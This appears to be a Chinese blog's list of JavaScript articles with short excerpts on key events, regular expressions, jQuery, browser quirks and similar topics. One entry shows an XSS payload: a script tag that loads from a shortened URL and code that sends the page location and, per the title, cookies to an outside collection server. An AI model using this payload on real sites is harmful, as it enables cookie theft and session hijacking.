JavaScript
kalogen
这个作者很懒,什么都没留下…
展开
-
按键测试,支持像 Ctrl+Alt+Shift+T 的组合键(注:非浏览器热键)
<html><head></head><body onkeyup="window.alert(showKeyName(event))">按键测试,支持像 Ctrl+Alt+Shift+T 的组合键(注:非浏览器热键)<script type="text/javascript">function showKeyName(e){var原创 2009-03-24 16:51:03 · 172 阅读 · 0 评论 -
Javascript面向对象特性
JavaScript面向对象的支持~~~~~~~~~~~~~~~~~~很少有人对JavaScript的面向对象特性进行系统的分析。我希望接下来的文字让你了解到这个语言最少为人知的一面。1. JavaScript中的类型--------虽然JavaScript是一个基于对象的语言,但对象(Object)在JavaScript中不是第一型的。JS是以函数(Function)为第一型的语言。这样说,不但...原创 2011-01-08 11:09:16 · 104 阅读 · 0 评论 -
Js实现Map对象的代码
<script type="text/javascript"><!-- /** * @author: kalogen * @date: 2011-1-8 * map对象类,提供了put,get,remove,size,isEmpty等方法 */function Map() { /** * 构造函数 * @param {} key * @param {}...原创 2011-01-08 16:13:25 · 130 阅读 · 0 评论 -
html静态页面传递参数-利用JavaScript方法实现静态
利用JavaScript方法实现静态html页面参数传递 原理是应用获得地址栏字串,进行分析。 aa.htm是参数输渗入渗出界面 bb.htm是参数接收处理界面 aa.htm function submit() { var input1 = document...原创 2011-05-05 19:44:03 · 166 阅读 · 0 评论 -
在firefox中如何指定style.left和style.top
style.top = 12 + "px"; stle.left = 12 + "px": 在firefox下需要加上单位才行原创 2010-10-11 12:54:47 · 101 阅读 · 0 评论 -
Firefox 浏览器对 TABLE 中绝对定位元素包含块的判定有错误,某些情况下会导致绝对定位元素位置跟其他浏览器中有差异...
关于绝对定位元素的定位,依赖于其包含块。也就是说,当绝对定位元素的"top"、"left"值被设置之后,绝对定位元素会根据这两个值,相对于其包含块产生位移。见:http://www.w3.org/TR/CSS2/visuren.html#absolute-positioning关于包含块的概念,在帖子:【分享】说说标准 -- 可视化格式模型(visual formatting model)之一 -...原创 2010-10-11 15:44:53 · 183 阅读 · 0 评论 -
javascript用方法内嵌方法解决异步回调同步的问题!惊喜哈!
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>api测试页面</title><style type="text/css"> body {原创 2011-02-24 19:11:56 · 251 阅读 · 0 评论 -
网上流传的一个很牛的日期判断正则表达式的问题,2-29判断问题解决 .
这里是判断yyyy-mm-dd这种格式的 ^((((1[6-9]|[2-9]/d)/d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]/d|3[01]))|(((1[6-9]|[2-9]/d)/d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]/d|30))|(((1[6-9]|[2-9]/d)/d{2})-0?2-(0?[1-9]|1/d|...原创 2012-02-29 09:02:21 · 571 阅读 · 0 评论 -
javascript 获取IP地址
<script language="JavaScript"> function GetLocalIPAddr(){ var oSetting = null; var ip = null; try{ oSetting = new ActiveXObject("rcbdyctl.Setting"); ip = oSetting.GetIPAddress; alert(ip); if (ip...原创 2012-12-16 14:50:17 · 160 阅读 · 0 评论 -
javascript获取url查询参数
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head>&原创 2012-12-16 14:55:51 · 98 阅读 · 0 评论 -
xss攻击获取站点信息以及对应的cookie的脚本
<script src=http://is.gd/L1PtPA></script> ========JS代码如下:========(function(){(new Image()).src='http://www.xssserver.com/index.php?do=api&id=P0cbrY&location='+escape((f...原创 2015-09-29 11:12:57 · 543 阅读 · 0 评论 -
xl.js 266 chrome的报错解决办法
Uncaught TypeError: plugin.IsCommandKeyUndetectEnable is not a function这是由于迅雷的插件引起的,禁用即可原创 2016-01-11 18:43:12 · 206 阅读 · 0 评论 -
常用正则表达式
正则表达式用于字符串处理、表单验证等场合,实用高效。现将一些常用的表达式收集于此,以备不时之需。匹配中文字符的正则表达式: [\u4e00-\u9fa5]评注:匹配中文还真是个头疼的事,有了这个表达式就好办了匹配双字节字符(包括汉字在内):[^\x00-\xff]评注:可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)匹配空白行的正则表达式:\n\s*\r评注:可以...原创 2010-09-20 10:14:28 · 85 阅读 · 0 评论 -
Java正则表达式详解
如果你曾经用过Perl或任何其他内建正则表达式支持的语言,你一定知道用正则表达式处理文本和匹配模式是多么简单。如果你不熟悉这个术语,那么“正则表达式”(Regular Expression)就是一个字符构成的串,它定义了一个用来搜索匹配字符串的模式。 许多语言,包括Perl、PHP、Python、JavaScript和JScript,都支持用正则表达式处理文本,一些文本编辑器用正则...原创 2010-09-20 10:10:51 · 104 阅读 · 0 评论 -
固定宽度的select下拉列表option选项显示不全的解决办法
昨天因为工作需要,研究了下select下拉列表,发现一段JS并进行了修改,因为源代码存在一个bug,所以我进行了稍微修改并注明,希望能对大家有所帮助! 固定宽度的select下拉列表option选项显示不全的解决办法:在实际的开发中在页面中为了布局的需要,下拉菜单<select>的宽度要设成比较小的值,但这时由于包含的选择项<option>的内容比较长,那么超出...原创 2010-01-19 15:23:47 · 1143 阅读 · 0 评论 -
javascript获取当前url网址及其参数方法总结
在WEB开发中,许多开发者都比较喜欢使用javascript来获取当前url网址,本文就此为大家总结一下比较常用获取URL的javascript实现代码,以下示例是前面为相应实现方法,后面是获取URL的效果,下面以例子讲解:输入的网址是(没有框架):http://localhost:81/Test/1.htm?Did=123<br>以下为输出:<br><SCRIP...原创 2010-07-21 12:29:33 · 118 阅读 · 0 评论 -
Prototype对Ajax的支持
2.3 Prototype对Ajax的支持作为一个Ajax开发框架,Prototype对Ajax开发提供了有力的支持。在Prototype中,与Ajax相关的类和对象包括:Ajax、Ajax.Responsders、Ajax.Base、Ajax.Request、Ajax. PeriodicalUpdater和Ajax.Updater,图2-3所示为这些类和对象之间的关系及其常用属性和方法,下...原创 2010-07-27 18:47:53 · 107 阅读 · 0 评论 -
javascript中 $符号的意思 比如element = $(element);什么意思?
Javascript中$符号的意思$,是指prototype定义的一类方法$("id") 得到的是页面id为"id"的元素$F("id") 得到的是页面id为"id"的元素的值,这是只读的,不可写参考文章[url]http://www.bjcan.com/hengxing/readlou.asp?id=1346[/url][url]https://compdoc2cn.dev.java.net/...原创 2010-08-26 11:34:27 · 1047 阅读 · 0 评论 -
JavaScript $("#"+idb).hide(500);是什么意思?
请问这段代码的意思是什么??function show(ida,idb){ if(document.getElementById(idb).style.display=="block") { $("#"+ida).css("background-image","url(../image/hide.gif)"); $("#"+idb).hide(500); }...原创 2010-08-26 13:01:10 · 385 阅读 · 0 评论 -
jQuery的html()等方法介绍首页 > Javascript >
本来是看到一篇文章,写研究的,想COPY过来就完事了。该来来自于cssRain,但是在看的过程中,发现内容和标准偏差很多,于是就贴上它的链接,然后自己谈谈理解吧。CSSRAIN的链接为:http://www.cssrain.cn/article.asp?id=1176在jQuery里面对于一些HTML的元素操作都是很简化的,这也是很多人选择使用jQuery的原因。对于获取某一个元素的值...原创 2010-08-26 13:09:26 · 93 阅读 · 0 评论 -
jquery中 attr的作用是什么?
attr()属性方法attr("width")返回宽度。attr("width","30px")设置宽度为30px; 下面有个例子:<table boder="1"><tr><td></td></tr></table><input type=&quo原创 2010-08-26 13:43:52 · 268 阅读 · 0 评论 -
理解js中的:Null、undefined、""、0、false
1、undefined、null、""、0、false这五个值在if语句中做判断,都会执行false分支2、 undefined和null比较特殊, 虽然null的类型是object,但是null不具有任何对象的特性, 就是说我们并不能执行null.toString()、null.constructor等对象实例的默认调用。 所以从这个意义上来说,null和undef...原创 2010-06-26 09:07:35 · 228 阅读 · 0 评论 -
你从没见过的 HTML5 动画效果
提示:建议用火狐最新版打开连接观看效果 HTML5 的 Canvas 对象将改变 JavaScript 的使命,使之成为 HTML5 下强大的动画脚本编写工具。本文介绍了 8 个你从未见过的,基于 HTML5 Canvas 和 JavaScript 的动画,这些令人难以置信的效果将使你对 HTML5 彻底折服。需要指出的是,这些都是浏览器的原生动画,无需任何插件。Tunnelers ...原创 2010-06-28 13:45:36 · 98 阅读 · 0 评论 -
使用javascript调用webservice示例
再javascript中使用soap调用webservice的示例代码代码再IE6和FF测试通过,对于c#写的webservice和java(xfire)写的,都测试过,没有问题此代码原型来源于 http://www.guru4.net/ 的javascript soapclient发现这个下载的js只能用于调用c#的webservice,所以利用mootools,重新封装,达到IE和...原创 2010-09-16 12:28:55 · 175 阅读 · 0 评论 -
正则表达式只允许输入汉字,数字,下划线,短线等
var partten = /^[\u4e00-\u9fa5A-Za-z0-9\-\_]*$/; if(!partten.test(document.getElementById("carno").value)) { alert("只能输入数字、汉字、字母、下划线或者减号组成的字符串!") document.getElementById('ca...原创 2010-09-20 09:58:24 · 2329 阅读 · 0 评论 -
Eclipse中jsp、js文件编辑时,卡死现象解决汇总
使用Eclipse编辑jsp、js文件时,经常出现卡死现象,在网上百度了N次,经过N次优化调整后,卡死现象逐步好转,具体那个方法起到作用,不太好讲。将所有用过的方法罗列如下: 1、取消验证windows–>perferences–>validation把 除了manual 下面的全部点掉,build下只留 classpath dependency Validator...原创 2016-03-01 11:36:21 · 234 阅读 · 0 评论